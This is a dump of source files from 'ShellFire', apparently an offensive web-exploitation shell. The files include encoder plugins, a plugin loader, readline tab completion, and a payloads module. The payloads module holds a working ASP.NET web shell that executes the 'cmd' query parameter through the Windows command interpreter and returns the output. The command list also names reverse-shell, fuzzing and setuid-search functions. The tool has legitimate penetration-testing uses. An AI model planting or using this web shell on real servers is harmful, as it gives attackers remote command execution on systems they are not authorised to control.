__init__(self): super().__init__() self.description = 'Base64' def run(self, argument): return b64.b64encode(str(argument).encode()).decode() class urlencode(Plugin): """URL encode your input """ def __init__(self): super().__init__() self.description = 'URL encode' def run(self, argument): return urllib.parse.quote(argument) ================================================ FILE: shellfire/payloads.py ================================================ def get_aspnet_payload(marker) -> str: return f"""\ {marker}<% Dim objShell = Server.CreateObject("WSCRIPT.SHELL") Dim command = Request.QueryString("cmd") Dim comspec = objShell.ExpandEnvironmentStrings("%comspec%") Dim objExec = objShell.Exec(comspec & " /c " & command) Dim output = objExec.StdOut.ReadAll() %><%= output %>{marker} """ def get_php_payload(marker) -> str: return f"""\ {marker}{marker} """ ================================================ FILE: shellfire/plugin_collection.py ================================================ import inspect import os import pkgutil import sys class Plugin(object): """Base class that each plugin must inherit from. within this class you must define the methods that all of your plugins must implement """ def __init__(self): self.description = 'UNKNOWN' def run(self, argument): """The method that we expect all plugins to implement. This is the method that our framework will call """ raise NotImplementedError class PluginCollection(object): """Upon creation, this class will read the plugins package for modules that contain a class definition that is inheriting from the Plugin class """ debug = False def __init__(self, plugin_package, debug=False): """Constructor that initiates the reading of all available plugins when an instance of the PluginCollection object is created """ if debug: self.debug = True self.plugin_package = plugin_package self.reload_plugins() def reload_plugins(self): """Reset the list of all plugins and initiate the walk over the main provided plugin package to load all available plugins """ self.plugins = {} self.seen_paths = [] if type(self.plugin_package) == list: for pkg in self.plugin_package: if self.debug: print() print(f'Looking for plugins under package {pkg}') self.walk_package(pkg) else: if self.debug: print() print(f'Looking for plugins under package {self.plugin_package}') self.walk_package(self.plugin_package) def apply(self, name, argument): """Apply a plugin on the argument supplied to this function """ try: plugin = self.plugins[name] argument = plugin.run(argument) if self.debug is True: print(f' -> {plugin.description} : {argument}') except Exception as e: print(f"Error in {plugin.description}: {e}") return argument def apply_all(self, argument): """Apply all of the plugins on the argument supplied to this function """ print() print(f'Applying all plugins on value {argument}:') for plugin in self.plugins: try: argument = plugin.run(argument) if self.debug: print(f' -> {plugin.description} : {argument}') except Exception as e: print(f"Error in {plugin.description}: {e}") return argument def walk_package(self, package): """Recursively walk the supplied package to retrieve all plugins """ try: imported_package = __import__(package, fromlist=['n/a']) except Exception as e: if package != "plugins": print(f"Error: {e}") return for _, pluginname, ispkg in pkgutil.iter_modules( imported_package.__path__, imported_package.__name__ + '.'): if not ispkg: plugin_module = __import__(pluginname, fromlist=['n/a']) clsmembers = inspect.getmembers(plugin_module, inspect.isclass) for (_, c) in clsmembers: ## Only add classes that are a sub class of Plugin, NOT Plugin itself if issubclass(c, Plugin) & (c is not Plugin): if self.debug: print(f' Found plugin: {c.__name__.lower()}') ## make sure the key is the lowercase version of the class name self.plugins[c.__name__.lower()] = c() ## Now that we have looked at all the modules in the current package, ## start looking recursively for additional modules in sub packages. all_current_paths = [] if isinstance(imported_package.__path__, str): all_current_paths.append(imported_package.__path__) else: all_current_paths.extend([x for x in imported_package.__path__]) for pkg_path in all_current_paths: if pkg_path not in self.seen_paths: self.seen_paths.append(pkg_path) ## Only proceed if pkg_path is a real directory if os.path.isdir(pkg_path): ## Get all sub directory of the current package path directory child_pkgs = [p for p in os.listdir(pkg_path) if os.path.isdir(os.path.join(pkg_path, p))] ## For each sub directory, apply the walk_package method recursively for child_pkg in child_pkgs: self.walk_package(package + '.' + child_pkg) return ## set the search path for custom plugins sys.path.append(os.path.expanduser("~/.config/shellfire")) ## initialize our available plugins plugins = PluginCollection(['shellfire.default_plugins', 'plugins'], debug=False) ================================================ FILE: shellfire/tab_completion.py ================================================ #!/usr/bin/env python3 """ Tab completion for ShellFire CLI Provides command and subcommand completion for the ShellFire exploitation shell. """ import os import readline import glob from typing import List, Optional class ShellfireCompleter: """Tab completion for ShellFire commands and subcommands.""" def __init__(self): """Initialize the completer with command lists.""" # Import the actual command list from shellfire try: from shellfire.commands import command_list self.config_commands = list(command_list.keys()) except ImportError: # Fallback to hardcoded list if import fails self.config_commands = [ 'help', 'exit', 'config', 'shell', 'auth', 'cookies', 'encode', 'files', 'find', 'fuzz', 'headers', 'history', 'http', 'marker', 'method', 'phpinfo', 'plugins', 'post', 'referer', 'revshell', 'url', 'useragent', 'quit' ] # Subcommands for config command self.config_subcommands = [ 'load', 'save', 'show', 'clear', 'reset' ] # Subcommands for plugin command self.plugin_subcommands = [ 'list', 'enable', 'disable', 'reload', 'info' ] # Common file extensions for payloads self.payload_extensions = ['.php', '.asp', '.aspx', '.jsp', '.py', '.sh'] # Common HTTP headers self.http_headers = [ 'User-Agent', 'Accept', 'Accept-Language', 'Accept-Encoding', 'Content-Type', 'Content-Length', 'Authorization', 'Cookie', 'Referer', 'X-Forwarded-For', 'X-Requested-With' ] # Common user agents self.user_agents = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36', 'curl/7.68.0', 'wget/1.20.3' ] # Common URL schemes and patterns self.url_patterns = [ 'http://', 'https://', 'ftp://', 'file://' ] def complete(self, text: str, state: int) -> Optional[str]: """ Main completion function called by readline. Args: text: The text to complete state: The state of completion (0 for first call, 1+ for subsequent) Returns: The completion string or None if no more completions """ if state == 0: # First call - build the list of completions # Get the full line buffer to understand context full_line = readline.get_line_buffer() self.matches = self._get_completions(full_line) # Return the next match or None if no more try: return self.matches[state] except IndexError: return None def _get_completions(self, text: str) -> List[str]: """ Get all possible completions for the given text. Args: text: The text to complete Returns: List of possible completions """ if not text: return [] # Check if text ends with space (indicating we want subcommand completion) ends_with_space = text.endswith(' ') # Split the input to understand the context parts = text.split() if len(parts) == 1 and not ends_with_space: # First word - complete main commands return [cmd for cmd in self.config_commands if cmd.startswith(text)] elif len(parts) >= 1 and (len(parts) >= 2 or ends_with_space): # Second or later word - complete subcommands or arguments command = parts[0] current_word = parts[-1] if len(parts) > 1 else "" # If we have a space at the end or current_word is empty, show all subcommands if ends_with_space or not current_word: if command == 'config': return self._complete_config_subcommand('') elif command == 'http': return self._complete_http_subcommand('') elif command == 'method': return self._complete_method_subcommand('') elif command == 'marker': return self._complete_marker_subcommand('') elif command == 'history': return self._complete_history_subcommand('') elif command == 'fuzz': return self._complete_fuzz_subcommand('') elif command == 'find': return self._complete_find_subcommand('') elif command == 'help': return self._complete_help_subcommand('') else: return [] # Otherwise complete based on what's typed if command == 'config': return self._complete_config_subcommand(current_word) elif command == 'http': return self._complete_http_subcommand(current_word) elif command == 'method': return self._complete_method_subcommand(current_word) elif command == 'marker': return self._complete_marker_subcommand(current_word) elif command == 'history': return self._complete_history_subcommand(current_word) elif command == 'fuzz': return self._complete_fuzz_subcommand(current_word) elif command == 'find': return self._complete_find_subcommand(current_word) elif command == 'help': return self._complete_help_subcommand(current_word) elif command in ['load', 'save']: return self._complete_file_path(current_word) else: # For other commands, try file completion return self._complete_file_path(current_word) return [] def _complete_config_subcommand(self, text: str) -> List[str]: """Complete config subcommands.""" config_subcommands = ['save', 'load'] return [cmd for cmd in config_subcommands if cmd.startswith(text)] def _complete_http_subcommand(self, text: str) -> List[str]: """Complete http subcommands.""" http_subcommands = ['payload', 'start', 'stop'] return [cmd for cmd in http_subcommands if cmd.startswith(text)] def _complete_method_subcommand(self, text: str) -> List[str]: """Complete method subcommands.""" method_subcommands = ['get', 'post', 'form'] return [cmd for cmd in method_subcommands if cmd.startswith(text)] def _complete_marker_subcommand(self, text: str) -> List[str]: """Complete marker subcommands.""" marker_subcommands = ['set', 'out'] return [cmd for cmd in marker_subcommands if cmd.startswith(text)] def _complete_history_subcommand(self, text: str) -> List[str]: """Complete history subcommands.""" history_subcommands = ['clear', 'nosave', 'save'] return [cmd for cmd in history_subcommands if cmd.startswith(text)] def _complete_fuzz_subcommand(self, text: str) -> List[str]: """Complete fuzz subcommands.""" fuzz_subcommands = ['start'] return [cmd for cmd in fuzz_subcommands if cmd.startswith(text)] def _complete_find_subcommand(self, text: str) -> List[str]: """Complete find subcommands.""" find_subcommands = ['setuid', 'setgid'] return [cmd for cmd in find_subcommands if cmd.startswith(text)] def _complete_help_subcommand(self, text: str) -> List[str]: """Complete help subcommands (all available commands).""" # Use the same command list as main commands return [cmd for cmd in self.config_commands if cmd.startswith(text)] def _complete_file_path(self, text: str) -> List[str]: """Complete file paths with glob patterns.""" if not text: return ['.', '..'] # Handle tilde expansion if text.startswith('~'): text = os.path.expanduser(text) # Get the directory and filename parts dirname = os.path.dirname(text) or '.' basename = os.path.basename(text) try: # List files in the directory if os.path.exists(dirname): files = os.listdir(dirname) matches = [] for file in files: if file.startswith(basename): full_path = os.path.join(dirname, file) if os.path.isdir(full_path): matches.append(full_path + '/') else: matches.append(full_path) return matches except (OSError, PermissionError): pass return [] def _complete_http_header(self, text: str) -> List[str]: """Complete HTTP header names.""" return [header for header in self.http_headers if header.lower().startswith(text.lower())] def _complete_user_agent(self, text: str) -> List[str]: """Complete user agent strings.""" return [ua for ua in self.user_agents if ua.lower().startswith(text.lower())] def _complete_url(self, text: str) -> List[str]: """Complete URL patterns.""" return [url for url in self.url_patterns if url.startswith(text)] def setup_tab_completion(): """Setup tab completion for the current session.""" try: completer = ShellfireCompleter() readline.set_completer(completer.complete) # Set up tab binding for macOS (libedit) vs GNU readline import sys if sys.platform == 'darwin': # macOS uses libedit which has different binding syntax readline.parse_and_bind('bind ^I rl_complete') else: # GNU readline readline.parse_and_bind('tab: complete') return True except Exception as e: print(f"[DEBUG] Tab completion setup failed: {e}") return False if __name__ == "__main__": # Test the completer completer = ShellfireCompleter() test_inputs = ['au', 'co', 'pl', 'se'] for test_input in test_inputs: completions = completer._get_completions(test_input) print(f"'{test_input}' -> {completions}")